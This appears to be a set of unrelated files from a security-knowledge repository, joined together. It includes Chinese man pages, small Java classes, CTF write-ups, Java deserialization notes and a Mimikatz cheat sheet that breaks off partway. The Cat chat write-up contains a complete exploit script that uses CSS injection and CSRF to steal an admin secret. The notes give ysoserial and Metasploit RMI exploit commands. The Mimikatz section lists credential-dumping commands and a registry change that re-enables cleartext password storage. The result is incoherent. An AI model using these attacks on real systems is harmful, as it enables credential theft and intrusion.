unknown\fR 命令、\fBpackage ifneeded\fR 命令、和自动装载器。在第一次调用一个 \fBpackage require\fR命令时,调用 \fBpackage unknown\fR 脚本。Tcl 初始化把它设置成求值在\fBauto_path \fR中的所有 \fBpkgIndex.tcl\fR 文件的一个脚本。\fBpkgIndex.tcl\fR 文件包含给每个可获得的包的 \fBpackage ifneeded\fR 命令;这些命令调用 \fBpackage provide\fR 命令来宣布这个包的可获得性,并且它们设置自动装载器的信息来装载这些包的文件。 .VS 8.3 如果在生成\fBpkgIndex.tcl\fR 时提供了 \fI-lazy\fR 标志, .VE 在第一次调用它的命令之前不实际上装载一个给定包的给定版本的一个给定文件。所以在调用了 \fBpackage require\fR之后,你可能在这个解释器中不能看到这个包的命令,但你可以调用它的命令而它们将被自动装载。 .VS 8.3 .SH "直接装载 DIRECT LOADING" .PP 一些包,例如使用了名字空间和导出命令或要求特殊初始化的包,可以选择在 \fBpackage require\fR 的时候立即装载它们的包文件而不是延迟实际的装载到第一次使用这个包中的命令的时候。在生成包索引时这是缺省的模式。可以指定 \fI-lazy\fR 参数来屏弃(override)它。 .VE .SH "复杂情况 COMPLEX CASES" 脚本和二进制文件之间存在依赖,和包被分开成脚本和二进制文件的可被正确处理。但是,你可能必须调整\fBpkg_mkIndex\fR 处理这些文件的次序。下面详细描述这些要点。 .PP 如果每个脚本或文件包含一个包,并且包只包含在一个文件中,则事情就很容易。你可以简单的用一些通配符模式指定以任意次序为所有文件建立索引。 .PP 一般的,脚本依赖于其他包是没有问题的。如果脚本包含 \fBpackage require\fR 命令,在用于处理这个脚本的解释器中把他们连根拔除(stubbed out),所以不会导致问题。如果脚本调用了其他包的在全局代码中的过程,这些调用由一个存根(stub) \fBunknown\fR 命令处理。但是,如果脚本引用了其他包的在全局代码中的变量 ,这将导致错误。这也是糟糕的编码风格。 .PP 如果二进制文件依赖于其他的包,事情就变的棘手了,因为在装载一个二进制文件时不可能连根拔除C-层次 API 如 \fBTcl_PkgRequire\fR API。例如,假设 BLT 包要求 Tk,并在它的 \fBBlt_Init \fR例程中用对 \fBTcl_PkgRequire\fR 的一个调用表达了这种需求。要支持它,你必须在一个已经装载了Tk 的解释器中运行 \fBpkg_mkIndex\fR。你用 \fB-load \fR\fIpkgPat\fR选项来完成这个任务。如果你指定了这个选项,\fBpkg_mkIndex\fR将装载在 \fBinfo loaded\fR 中列出的所有的包和那些匹配 \fIpkgPat\fR 的包到用于处理文件的解释器中。在多数情况下这将可以满足二进制文件中的 \fBTcl_PkgRequire\fR 调用。 .PP 如果你为两个二进制文件建立索引,其中的一个依赖于另一个,你应该最后指定有依赖的那个包。这样没有依赖的那个包将被装载和建立索引,那么在处理第二个文件的时候这个文件所提供的包就是可获得的了。你还必须使用 \fB-load\fR 标志把第一个包装载到用于建立索引的一个临时解释器中;这将无损于指定仍未装载的包模式。 .PP 如果你有一个分开成一些脚本和一个二进制文件的包,则你必须避免 \fB-load\fR 标志。问题在于如果你在计算索引之前装载了一个包,它将屏蔽提供同一个包的其他部分的所有其他文件。如果你必须使用 \fB-load\fR,则你必须首先指定脚本;否则从二进制文件装载的包可能会屏蔽用脚本定义的包。 .SH "参见 SEE ALSO" package(n) .SH "关键字 KEYWORDS" auto-load, index, package, version .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/09/01 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
package org.vulhub.xstreamsample; import com.thoughtworks.xstream.annotations.XStreamAlias; @XStreamAlias("user") public class User { protected String name; protected Integer age; public User(String name, Integer age) { this.name = name; this.age = age; } public String getName() { return name; } public Integer getAge() { return age; } public void setName(String name) { this.name = name; } public void setAge(Integer age) { this.age = age; } }
sec-knowleage
# INCD - Junior Cyber Challenge 2021 This is a short CTF by the Israeli National Cyber Directorate, as part of a recruitment campaign. ## Junior Cyber Analyst ### Document Challenge > find the flag We get a file called `jctf.7zp`: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD_2021/Junior_Cyber_Analyst/Document_Challenge] └─$ file jctf.7zp jctf.7zp: Microsoft Word 2007+ ``` A Word document file is just an archive: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD_2021/Junior_Cyber_Analyst/Document_Challenge] └─$ 7z l jctf.7zp 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,4 CPUs 12th Gen Intel(R) Core(TM) i9-12900K (90672),ASM) Scanning the drive for archives: 1 file, 12228 bytes (12 KiB) Listing archive: jctf.7zp -- Path = jctf.7zp Type = zip Physical Size = 12228 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 1980-01-01 00:00:00 ..... 1312 346 [Content_Types].xml 1980-01-01 00:00:00 ..... 590 239 _rels/.rels 1980-01-01 00:00:00 ..... 4102 983 word/document.xml 1980-01-01 00:00:00 ..... 817 244 word/_rels/document.xml.rels 1980-01-01 00:00:00 ..... 8393 1746 word/theme/theme1.xml 1980-01-01 00:00:00 ..... 3014 1054 word/settings.xml 1980-01-01 00:00:00 ..... 29455 2949 word/styles.xml 1980-01-01 00:00:00 ..... 894 334 word/webSettings.xml 1980-01-01 00:00:00 ..... 1922 514 word/fontTable.xml 1980-01-01 00:00:00 ..... 733 361 docProps/core.xml 1980-01-01 00:00:00 ..... 714 370 docProps/app.xml ------------------- ----- ------------ ------------ ------------------------ 1980-01-01 00:00:00 51946 9140 11 files ``` We can rename to `docx` and open with Word, or just extract the strings from `word/document.xml` ```console ┌──(user@kali)-[/media/sf_CTFs/INCD_2021/Junior_Cyber_Analyst/Document_Challenge] └─$ sed -e 's/<[^>]*>/\n/g' document.xml | strings Dfsdkjfhsldkf;lkfhsd ;lfkhsddfghksfglk Skhdflskdfhlksksdjfhksjdfhskdjfhskdjf Hjfskjdfhksdjfhskdjfsdkfhsdkfjhkjhsdf ZmxhZyh5b3UgZm91bmQgbWUhISEp ``` The last one looks like base64: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD_2021/Junior_Cyber_Analyst/Document_Challenge] └─$ echo ZmxhZyh5b3UgZm91bmQgbWUhISEp | base64 -d flag(you found me!!!) ``` ### Network Challenge > Find the Flag We get a network capture file. We extract the packet contents and get the flag: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD_2021/Junior_Cyber_Analyst/Network_Challenge] └─$ tshark -r ctfpcap.pcap -T fields -e data.text -o data.show_as_text:TRUE 2>/dev/null | strings flag(user:incdctf|pass:WeWantYour$ki11$) flag(user:incdctf|pass:WeWantYour$ki11$) ``` ### Picture Challenge > Find the Flag We get a PNG image. Let's check it: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD_2021/Junior_Cyber_Analyst/Picture_Challenge] └─$ pngcheck INCD.png INCD.png additional data after IEND chunk ERROR: INCD.png ``` After the `IEND` chunk there is extra data: ```console ┌──(user@kali)-[/media/sf_CTFs/INCD_2021/Junior_Cyber_Analyst/Picture_Challenge] └─$ strings INCD.png | tail Zn~mQ oC^6 Li*! Rv(: Rv(: Rv(: Rv(: Rv(: IEND 01000110 01101100 01100001 01100111 01111011 01111001 01101111 01110101 00100000 01100110 01101111 01110101 01101110 01100100 00100000 01101101 01100101 00100001 00100001 00100001 01111101 ``` Decode as binary to get the flag: `Flag{you found me!!!}` ## Junior Threat Intelligence Analyst ### Last Mile > On your first day on the job, you received a notification that someone had uploaded sensitive material to where over 65 million developers share the future of software, together . > > Your task is to find the leak and act on what you have discovered > > Your leak indicators: INCDGOV 641636f0faa0eda117eda14ad309fb5a306b1c50 > > Good luck ! We search Google for the phrase *"where over 65 million developers share the future of software, together"* and find GitHub. From there we find [this commit](https://github.com/INCDGOV/Junior_CTF/blob/47779cdbea3c4fe9b2e2dc0730cb89fb29293df3/641636f0faa0eda117eda14ad309fb5a306b1c50). The contents contains the flag: ``` 641636f0faa0eda117eda14ad309fb5a306b1c50 _____ _ _____ _ / __ \ | | |_ _| | | | / \/_ _| |__ ___ _ __ | | ___ _ __ __ _ ___| | | | | | | | '_ \ / _ \ '__| | |/ __| '__/ _` |/ _ \ | | \__/\ |_| | |_) | __/ | _| |\__ \ | | (_| | __/ | \____/\__, |_.__/ \___|_| \___/___/_| \__,_|\___|_| __/ | |___/ ''' Congratulations on Completing Your Challenge! Your flag is: cyberm@cyber.gov.il Please send your CV, the code "31/21" and your registered email to the challange via our Email address: cyberm@cyber.gov.il Stay safe ; ```
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH SHA256SUM 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 sha256sum \- 计算并校验 SHA256 信息摘要 .SH 概述 \fBsha256sum\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]... .SH 描述 .\" Add any additional description here .PP 输出或检查 SHA256 (256位) 校验和。 .PP 如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。 .TP \fB\-b\fP, \fB\-\-binary\fP 以二进制模式读入 .TP \fB\-c\fP, \fB\-\-check\fP 从指定文件中校验和信息并对它们进行检查 .TP \fB\-\-tag\fP 创建一个 BSD 风格的校验和 .TP \fB\-t\fP, \fB\-\-text\fP 以文本模式读入(默认) .TP \fB\-z\fP, \fB\-\-zero\fP 以 NUL 空字符而非换行符结束每一输出行,同时禁用文件名转义 .SS 下面五个选项仅在验证校验和时有用: .TP \fB\-\-ignore\-missing\fP 遇到缺失的文件时不报告错误,保持静默 .TP \fB\-\-quiet\fP 不要为每个成功验证的文件显示成功信息 .TP \fB\-\-status\fP 不要输出任何信息,由返回值判断成功与否 .TP \fB\-\-strict\fP 为没有正确格式化的校验和文字行给出非零返回值 .TP \fB\-w\fP, \fB\-\-warn\fP 为没有正确格式化的校验和文字行给出警告信息 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 校验和按照 FIPS\-180\-2 描述的方式进行计算。在校验过程中,其输入内容应当为该程序先前的输出内容。默认模式是输出一行文字,包含:校验和、一个指示输入模式的字符('*' 指示二进制输入,' ' 指示二进制特性不明显的文本输入)以及每个文件的名称。 .PP 注意:GNU 系统上二进制模式和文本模式没有区别。 .SH 作者 由 Ulrich Drepper, Scott Miller 和 David Madore 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 \fBcksum\fP(1) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/sha256sum> .br 或者在本地使用: info \(aq(coreutils) sha2 utilities\(aq
sec-knowleage
# Cat chat (web 210p, 46 solved) In the task we get access to a web-based chat application. We automatically join a random channel, and we can use the link with room number to invite more people to the chat. The whole chat is implemented in javascript and apart from [client code](client.js) we also get [server code](server.js). The chat, besides the obvious message sending function, has also some special commands: - `/name YourNewName` - Change your nick name to YourNewName. - `/report` - Report dog talk to the admin. And if we look into the source code we get also information on admin commands: - `/secret asdfg` - Sets the admin password to be sent to the server with each command for authentication. It's enough to set it once a year, so no need to issue a /secret command every time you open a chat room. - `/ban UserName` - Bans the user with UserName from the chat (requires the correct admin password to be set). If we use `/report` command admin comes to the chat, and leaves after a moment. If any of the users meanwhile says `dog`, this user will get banned. Ban is implemented only client-side, managed by a cookie, so we can un-ban our user simply by removing the cookie. ## From the sources the first important part is the location of the flag, visible in the source code of the server code for handling `/secret` command: ```javascript case '/secret': if (!(arg = msg.match(/\/secret (.+)/))) break; res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000'); response = {type: 'secret'}; ``` If someone issues this command, then server sends a cookie `flag` with a designated value. From the description of the command we can guess that admin already has this cookie set, so our goal is to steal the cookie. We notice here that there is a injection that allows us to add more parameters to the cookie header, so theoretically we could set secret with value `; Path=/whatever;` and thus overwrite the original intended cookie Path parameter. This is useful, because it means we could use `/secret something; domain=gooe.com` to avoid setting a new cookie, so we won't overwrite the original flag someone might have stored in the cookie. ## XSS Stealing cookie would seem like a classic XSS task, however if we check the `Content Security Policy` header we can see that the whole application has: ``` default-src 'self'; style-src 'unsafe-inline' 'self'; script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src 'self' https://www.google.com/recaptcha/ ``` So there is no way we can run any javascript there without a reflected xss somewhere on the website. However, we can notice that there is a chance to load a inline CSS. But once we analyse the client code, we notice that the cookie is not the only place where the flag might be present. In the client-side handler for server messages we can see: ```javascript secret(data) { display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`); }, ``` So if a `/secret` command is issued, the server responds with `secret` message, and client will show a `span` with flag in it. Moreover, the flag is actually value of attribute `data-secret` of tag `span`. We've written already a bit about exfiltrating data from html tags attributes via CSS in https://github.com/p4-team/ctf/tree/master/2018-01-20-insomnihack/web_css and here we have a very similar case. If we could inject CSS style somewhere on the page, we could place: ```css span[data-secret^={letter} i]{{background: url({some_url}?msg={letter})}} ``` ## CSRF Every user for whom this style is applied, would make a request on URL we provide, assuming the secret data match the letter we selected. In our case we can't use just any URL, because CSP will not allow sending the request "outside", but fortunately we can use url `/room/{room_id}/send?name=leaker&msg={letter}` and the data will appear as message on the chat in the room we select. We can make a lot of those style entries, one for each letter of the flags charset, and thus recover the first letter of the secret. Then we can simply match two letters, then three etc. ## We're now left with two problems: - We have to find a way to inject the CSS on the page - We have to find a way to convince admin to issue `/secret` command. #### Solution to the first problem can be found in the code handling banned users: ```javascript ban(data) { if (data.name == localStorage.name) { document.cookie = 'banned=1; Path=/'; sse.close(); display(`You have been banned and from now on won't be able to receive and send messages.`); } else { display(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`); } } ``` If we look closely at the `else` case, we can notice that DOM of the page will get extended with `<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`, and we control the `data.name` parameter, since it's the username of banned user. We can, therefore, use a name which closes the opening style tags and adds new ones, for example: ``` /name a i]{}] span[data-secret^=C i]{{background: url(/room/{room_id}/send?name=leaker&msg=C)}}span[data-name^=whatever ``` This way we can inject exfiltration CSS code, which will get triggered if any of users present on the chat have the secret displayed on the screen and it starts with `C`. The only thing we need to trigger this is to call an admin and convince him to ban the user. ## convince admin to issue `/secret` command Now we come to the last issue, how to convince admin to issue `/secret` command. This is a bit funny, because we've seen in writeups of some other teams, that they got this part all wrong, and their solution worked purely by accident. We've spent quite a while on this step, because we knew from the start that simply forcing admin to send message `/secret something` to the chat won't work, contrary to what some other teams claim. We tested this on a standard user, and we confirmed in the source code that such action will NOT cause the secret to appear on the chat. The reason is quite trivial really, if we look at the sever code for handling this action: ```javascript case '/secret': if (!(arg = msg.match(/\/secret (.+)/))) break; res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000'); response = {type: 'secret'}; ``` There is no broadcast here! The response is never send via SSE, and therefore it will not get handled on the client side by the event handler which causes the secret to be added to DOM of the page. ## So how come it actually worked for some other teams? Pure coincidence. The real vulnerability is in the event handling function on the server side: ```javascript switch (msg.match(/^\/[^ ]*/)[0]) { case '/name': if (!(arg = msg.match(/\/name (.+)/))) break; response = {type: 'rename', name: arg[1]}; broadcast(room, {type: 'name', name: arg[1], old: name}); case '/ban': if (!(arg = msg.match(/\/ban (.+)/))) break; if (!req.admin) break; broadcast(room, {type: 'ban', name: arg[1]}); case '/secret': if (!(arg = msg.match(/\/secret (.+)/))) break; res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000'); response = {type: 'secret'}; case '/report': if (!(arg = msg.match(/\/report (.+)/))) break; var ip = req.headers['x-forwarded-for']; ip = ip ? ip.split(',')[0] : req.connection.remoteAddress; response = await admin.report(arg[1], ip, `https://${req.headers.host}/room/${room}/`); } ``` We have a long switch-case block here, but there is no `break` anywhere! Handling a single action does not stop the execution flow, it just falls through. This means if packet `/name xx /ban yy /secret zz` comes to the server, all of those commands will get executed! If we now check how the ban command is issued by admin on the client side: ```javascript send(`/ban ${name}`); ``` We can see that we can easily set a special name which contains `/secret something; domain=gooe.com` string in it, and if admin bans such user, he will automatically issue `/secret` command. This is the reason why it worked for so many teams. It had nothing to do with forcing admin to load a style from `/room/{room_id}/send?name=admin&msg=/secret xx` when banning a user, but simply the ban command contained the `/secret xx` string, and thus the command got executed by the handler on server side. ## Our attack approach at this point is quite clear: 1. Create a user named `/secret something; domain=gooe.com` 2. Create a user with CSS exfiltration name. 3. Place one more user on the channel, to listen for flag characters. 4. Call admin via `/report` 5. Send `dog` message from the first user, get him banned and force admin to issue `/secret` command 6. Send `dog` message from the second user, get him banned and force admin to leak first character of the flag We can then repeat those steps for 2nd, 3rd and next flag characters. We've made a semi-automatic script for this, which required human intervention to collect the recaptcha token to call admin: ```python import time from requests import get from requests import session FLAG_CHARSET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&()*+,-./:;<=>?@[\\]^_|~ ' CSS_HACK = """span[data-secret^={letter} i]{{background: url(/room/{room_id}/send?name=admin&msg={letter})}}""" ROOM_ID = 'fe1fc600-c41b-454f-85eb-e5f03da8b435' URL = 'https://cat-chat.web.ctfcompetition.com/room/{room_id}/'.format(room_id=ROOM_ID) def send_message(session, name, message): return session.get(URL + 'send', params={'name': name, 'msg': message}, headers={'Referer': URL}) def change_name(session, new_name): return send_message(session, 'python_bot', "/name %s" % new_name) def main(): flag_payload = '/name a i]{}]' flag_payload += ''.join([CSS_HACK.format(room_id=ROOM_ID, letter=x) for x in FLAG_CHARSET]) flag_payload += 'span[data-name^=whatever' captcha = raw_input('captcha code:') r = get(URL + 'send', params={'name': 'bzorp', 'msg': '/report %s' % captcha}, headers={'Referer': URL}) time.sleep(1) cookier = session() cookier.get(URL) change_name(cookier, '/secret something; domain=gooe.com') send_message(cookier, '/secret something; domain=gooe.com', 'dog') time.sleep(2) flag_stealer = session() flag_stealer.get(URL) send_message(flag_stealer, flag_payload, 'dog') main() ``` Running this mutiple times, expanding the flag prefix each time gives us: `CTF{L0LC47S_43V3R}`
sec-knowleage
# JAVA反序列化 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** 序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。 Java 程序使用 `ObjectOutputStream` 类的 `writeObject()` 方法可以实现序列化, 相应的,ObjectInputStream 对象的 `readObject()` 方法将反序列化数据转换为 java 对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。 **相关文章** - [某java客服系统后续代码审计](https://mp.weixin.qq.com/s/Alj6MQmJv9ekGzcUNiIdeg) - [基础知识|反序列化命令执行漏洞](https://mp.weixin.qq.com/s/Q75rw573ME73enFsVY4ilA) **相关工具** - [java.lang.Runtime.exec() Payload Workarounds](http://www.jackson-t.ca/runtime-exec-payloads.html) - [matthiaskaiser/jmet](https://github.com/matthiaskaiser/jmet) - [frohoff/ysoserial](https://github.com/frohoff/ysoserial) - A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. ```bash # 建议自己编译 apt install -y maven git clone https://github.com/frohoff/ysoserial.git && cd ysoserial mvn clean package -DskipTests ``` - [su18/ysoserial](https://github.com/su18/ysoserial) **漏洞示例** 漏洞代码示例如下: ```java ...... //读取输入流,并转换对象 InputStream in=request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(in); //恢复对象 ois.readObject(); ois.close(); ``` 上述代码中,程序读取输入流并将其反序列化为对象。此时可查看项目工程中是否引入不安全的基础库 ``` commons-fileupload 1.3.1 commons-io 2.4 commons-collections 3.1 commons-logging 1.2 commons-beanutils 1.9.2 org.slf4j:slf4j-api 1.7.21 com.mchange:mchange-commons-java 0.2.11 org.apache.commons:commons-collections 4.0 com.mchange:c3p0 0.9.5.2 org.beanshell:bsh 2.0b5 org.codehaus.groovy:groovy 2.3.9 org.springframework:spring-aop 4.1.4.RELEASE ``` **审计函数** 反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控,如下: ``` ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject ... ``` **搜索正则** ``` log4j logger.info\(".*\{\}.*\) fastjson JSON.parse ``` **修复方案** 如果可以明确反序列化对象类的则可在反序列化时设置白名单,对于一些只提供接口的库则可使用黑名单设置不允许被反序列化类或者提供设置白名单的接口,可通过 Hook 函数 `resolveClass` 来校验反序列化的类从而实现白名单校验,示例如下: ```java public class AntObjectInputStream extends ObjectInputStream{ public AntObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } /** * 只允许反序列化SerialObject class */ @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(SerialObject.class.getName())) { throw new InvalidClassException( "Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } } ``` 也可以使用 Apache Commons IO Serialization 包中的 `ValidatingObjectInputStream` 类的 `accept` 方法来实现反序列化类白/黑名单控制,如果使用的是第三方库则升级到最新版本。更多修复方案可参考 [浅谈 Java 反序列化漏洞修复方案](https://xianzhi.aliyun.com/forum/topic/41/)。 --- ## JNDI注入 **相关工具** - [welk1n/JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit) - [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - [wh1t3p1g/ysomap](https://github.com/wh1t3p1g/ysomap) - [pimps/JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit) - JNDI-Exploitation-Kit - [r00tSe7en/JNDIMonitor/](https://github.com/r00tSe7en/JNDIMonitor/) - 一个LDAP请求监听器,摆脱dnslog平台 - [wyzxxz/jndi_tool](https://github.com/wyzxxz/jndi_tool) - JNDI服务利用工具 RMI/LDAP,支持部分场景回显、内存shell,高版本JDK场景下利用等,fastjson rce命令执行,log4j rce命令执行 漏洞检测辅助工具 --- ## RMI反序列化 RMI(Remote Method Invocation) 远程方法调用是一种计算机之间利用远程对象互相调用实现双方通讯的一种通讯机制。使用这种机制,某一台计算机上的对象可以调用另外 一台计算机上的对象来获取远程数据,能让某个 Java 虚拟机上的对象调用另一个 java 虚拟机对象上的方法。RMI 能够让程序员开发出基于 java 的分布式应用。一个 rmi 对象是一个远程 java 对象,可以从另一个 java 虚拟机上调用他的方法,可以像调用本地 java 对象的方法一样调用远程对象的方法。使分布在不同的 JVM 中的对象外表和行为都像本地对象一样。默认端口 1099. **MSF Modules** ``` use exploit/multi/misc/java_rmi_server ``` **ysoserial** ``` java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 8999 CommonsCollections1 "whoami" ``` --- ## JDBC反序列化 **相关文章** - [JDBC Connection URL 攻击](https://paper.seebug.org/1832/) - [PostgreSQL JDBC Driver RCE](https://mp.weixin.qq.com/s/jb7mbPWdMp1vlgF8F1mshg) **相关工具** - [fnmsd/MySQL_Fake_Server](https://github.com/fnmsd/MySQL_Fake_Server) - 用于渗透测试过程中的假MySQL服务器,纯原生python3实现,不依赖其它包。 --- ## 漏洞类型案例 - [fastjson](../../Web安全/实验/fastjson.md) - [log4j](../../Web安全/实验/Log4j.md)
sec-knowleage
/* * Copyright 2015-2018 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package example.users; import java.util.Optional; import org.springframework.data.repository.PagingAndSortingRepository; /** * A Spring Data repository to persist {@link User}s. * * @author Oliver Gierke */ interface UserRepository extends PagingAndSortingRepository<User, Long> { /** * Returns the user with the given {@link Username}. * * @param username can be {@literal null}. * @return */ Optional<User> findByUsername(Username username); }
sec-knowleage
# 二、黑客们请注意 当你阅读本书的时候,我们希望听到你们对它的评论。 + 它是否有用? + 它写得好嘛? + 你有没有发现一些要更正的东西? + 有什么缺少的东西? + 有什么想要深入了解的东西? + 有什么不想看的东西? 向`feedback@hackerone.com`发送你的评论,并在主题中提到“book”这个词。 十分感谢! P.S. 当然,如果你确实觉得本书相当不错,请为它发推,并且向你的朋友推荐本书。
sec-knowleage
.TH "DROPLANG" "1" "2003-11-02" "Application" "PostgreSQL Client Applications" .SH NAME droplang \- 删除一种 PostgreSQL 过程语言 .SH SYNOPSIS .sp \fBdroplang\fR\fR [ \fR\fB\fIconnection-option\fB\fR...\fB \fR\fR]\fR \fB\fIlangname\fB\fR\fR [ \fR\fB\fIdbname\fB \fR\fR]\fR \fBdroplang\fR\fR [ \fR\fB\fIconnection-option\fB\fR...\fB \fR\fR]\fR \fR\fR \fB--list\fR\fR | \fR\fB-l\fR\fR\fR \fB\fIdbname\fB\fR .SH "DESCRIPTION 描述" .PP \fBdroplang\fR 是一个从 PostgreSQL 数据库中删除一种现有编程语言的工具。 droplang 可以删除任何过程语言, 甚至是那些 PostgreSQL 版本没有自带的。 .PP 尽管可以用 SQL 命令直接删除后端编程语言,我们还是推荐使用 droplang, 因为它进行了一些检查而且更容易使用。参阅 DROP LANGUAGE [\fBdrop_language\fR(7)] 获取更多信息。 .SH "OPTIONS 选项" .PP \fBdroplang\fR 接受下面命令行参数: .TP \fB\fIlangname\fB\fR 声明将被删除的后端编程语言的名称。 .TP \fB[-d] \fIdbname\fB\fR .TP \fB[--dbname] \fIdbname\fB\fR 声明从哪个数据库删除该语言。 缺省使用和当前系统用户同名的数据库。 .TP \fB-e\fR .TP \fB--echo\fR 运行的时候显示执行的 SQL 命令。 .TP \fB-l\fR .TP \fB--list\fR 显示一个在目标数据库里已经安装的语言的列表。 .PP .PP \fBcreateuser\fR 还接受下列命令行参数用作连接参数: .TP \fB-h \fIhost\fB\fR .TP \fB--host \fIhost\fB\fR 声明运行服务器的机器的主机名。 如果数值以斜扛开头,则它被用做到 Unix 域套接字的路径。 .TP \fB-p \fIport\fB\fR .TP \fB--port \fIport\fB\fR 声明服务器 正在侦听的互联网 TCP 端口号或本地Unix域套接字的文件扩展(描述符)。 .TP \fB-U \fIusername\fB\fR .TP \fB--username \fIusername\fB\fR 连接的用户名(不是要创建的用户名)。 .TP \fB-W\fR .TP \fB--password\fR 强制口令提示(与服务器连接的口令,不是新用户的口令。) .PP .SH "ENVIRONMENT 环境" .TP \fBPGHOST\fR .TP \fBPGPORT\fR .TP \fBPGUSER\fR 缺省连接参数。 .SH "DIAGNOSTICS 诊断" .PP 大多数错误信息是自解释的。如果没有,带着--echo 参数运行 droplang 然后在相应的 SQL 命令下面检查细节。 .SH "NOTES 注意" .PP 使用 \fBcreatelang\fR(1) 增加一种语言。 .SH "EXAMPLES 例子" .PP 删除语言 pltcl: .sp .nf $ \fBdroplang pltcl dbname\fR .sp .fi .SH "SEE ALSO 参见" \fBcreatelang\fR(1), DROP LANGUAGE [\fBdrop_language\fR(7)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# Windows - Mimikatz ## Summary * [Execute commands](#execute-commands) * [Extract passwords](#extract-passwords) * [LSA Protection Workaround](#lsa-protection-workaround) * [Mini Dump](#mini-dump) * [Pass The Hash](#pass-the-hash) * [Golden ticket](#golden-ticket) * [Skeleton key](#skeleton-key) * [RDP Session Takeover](#rdp-session-takeover) * [RDP Passwords](#rdp-passwords) * [Credential Manager & DPAPI](#credential-manager--dpapi) * [Chrome Cookies & Credential](#chrome-cookies--credential) * [Task Scheduled credentials](#task-scheduled-credentials) * [Vault](#vault) * [Commands list](#commands-list) * [Powershell version](#powershell-version) * [References](#references) ## Execute commands Only one command ```powershell PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit ``` Mimikatz console (multiple commands) ```powershell PS C:\temp\mimikatz> .\mimikatz mimikatz # privilege::debug mimikatz # log mimikatz # sekurlsa::logonpasswords mimikatz # sekurlsa::wdigest ``` ## Extract passwords > Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled. ```powershell mimikatz_command -f sekurlsa::logonPasswords full mimikatz_command -f sekurlsa::wdigest # to re-enable wdigest in Windows Server 2012+ # in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest # create a DWORD 'UseLogonCredential' with the value 1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1 ``` :warning: To take effect, conditions are required : - Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2: * Adding requires lock * Removing requires signout - Win10: * Adding requires signout * Removing requires signout - Win2016: * Adding requires lock * Removing requires reboot ## LSA Protection Workaround - LSA as a Protected Process (RunAsPPL) ```powershell # Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1 reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa # Next upload the mimidriver.sys from the official mimikatz repo to same folder 